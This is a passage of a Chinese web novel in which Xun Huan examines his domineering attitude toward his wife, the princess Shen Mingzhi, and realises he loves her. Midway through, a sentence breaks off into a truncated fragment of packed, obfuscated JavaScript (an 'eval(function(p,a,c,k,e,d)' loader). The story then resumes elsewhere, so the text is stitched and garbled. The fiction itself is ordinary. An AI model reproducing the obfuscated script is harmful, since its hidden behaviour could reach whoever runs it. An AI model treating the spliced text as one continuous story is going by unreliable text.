好在郇寰有分寸,在自己气息全紊乱之前挪开了自己,闭上自己容易露陷的眼睛,笑着搂紧了沈明枳,用手掌心摩了摩她的胳膊,似是在向她表示着自己唐突的歉意,又似在解释自己的举动绝对没有沾染上半分杂念。 越描越黑,大抵如此。他擂鼓的心跳已经向沈明枳坦白,好在沈明枳是装聋作哑一把好手,也不想惹出不可收拾的事情,郇寰这一丁点的狼狈全都藏入了车中黑暗。 过这般平常的日子也很好。 他们两个几乎是瞬时一起冒出了这个想法。 沈明枳头一次有了这个想法,而郇寰不是。 他今日早早醒来,送沈明枳出了门便又滚回了被窝,抱着她留存的气息一直睡到了午后。再度醒来后还赖在她房中,翻了沈明枳近来再看的书,再度翻到了那一句“吾欲与若复牵黄犬俱出上蔡东门逐狡兔,岂可得乎”,郇寰不禁失笑。 后来他们其实一直都在过平常的日子,只是他太敏感了。 如若他的妻子不是公主,那他郇寰就是这个家里唯一的话事人、唯一的中心,他自然而然就会像现下所有丈夫一样想当然地要求妻儿十万分的好与体贴只对自己,不必嫉妒不必敏感;又因为他的妻子在外没有可以与他匹敌的势力,所以他可以不必担心万一枕边之人与自己不是齐心协力的时候,自己在外会受到怎样的背刺,他所支持的赵王会遭到怎样的损失。她的天地只限于府邸之内,自己高兴时可以允许她像申二夫人一样培植势力,一有不对又能如申不极一样将风筝拽入泥土。 这个时候,他每天过上的就已经是世俗意义上平常至极的日子了。他对妻子的好,便会为他博来无数的赞誉,即便这样的好,在现在的他看来,几近于一种施舍与驯化。 实如仁慈二字。 因为在这样的关系里,他是主导,她是附庸,她几乎不需要任何个人意志,她曾经拥有过的喜怒哀乐都不值一提,她未来的喜怒哀乐也只能为她的夫婿、她的儿女、她的家族所牵绊,她是一个木偶,一个在主人不高兴的时候,连心情都不能自主的装饰。 可沈明枳是个公主,一个故太子仍在时就集万千宠爱于一身的公主。 他郇寰的官途,走到刑部侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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母亲走前那个绝望的眼神,应当是预料到了将来什么光景,自己发了多么毒、多么真的誓言都不能让她高兴。他当时想不明白,现在明白了,她所求的不过是希望自己明白书卷上背烂了的道理“己所不欲勿施于人”。 永远求不得的三分体谅,逼死了他的母亲。 而他和他父亲一样,要求旁人十成十的尊重仰望,自己却从没正眼看过对方——这不知从何而来的自以为是!所以他发现最真实的沈明枳的第一个想法,不是欣赏,而是恐惧;他在面对赵王派向沈明枳发难的尴尬局面时的第一个念头,不是维护发妻,而是深恶痛绝。他几乎没有站在她的立场上想一想,她是多么孤独、多么艰难、多么痛苦、多么绝望,而造成她所有悲伤的男人还妄想自己腹低做小、做一只笼中雀! 他的心上人,本该同自己一样就是一只凌云鹤、戾天鸢,可自己偏要折去她的翅膀,还要抱怨自己过不上双宿双飞的美好日子全是拜她所赐! 心上人? 郇寰一愣,骤然被这三个字从无边自省中剥离出来,掌心下隔着衣料的温暖正随着自己的心跳,一下下地蹿起炽烈的火焰,烫得他差点松开手。他极力调整着随之紊乱的心跳,等他恢复冷静后,却发现自己根本无法直视这三个光芒万丈的大字,更不能直面依偎在胸口的沈明枳。 一旦陷入了情情爱爱的温柔乡,那就是自废武功、自毁前程、自我了结。他一直都很克制,不曾看透自己前总要装出十成的柔情蜜意,看透自己后也不知是有意无意总在回避。现在好了,他成了掩耳盗铃之人,心里最真的想法已经舞到眼前了,他才甘心恍然大悟。 然后呢? 郇寰不知道,在明白沈明枳于自己是个什么样的存在后,他该怎么办。这是他从来没有设想过的桥段,他没有经验,也无处借鉴,他甚至来不及分析自己怎么就悄悄瞒过众人和自己将她捧到了心尖上,他也判断不出自己过去的所作所为究竟是否与这份爱重背道而驰。 他愣住了。 “你怎么了?”沈明枳忽然出声问。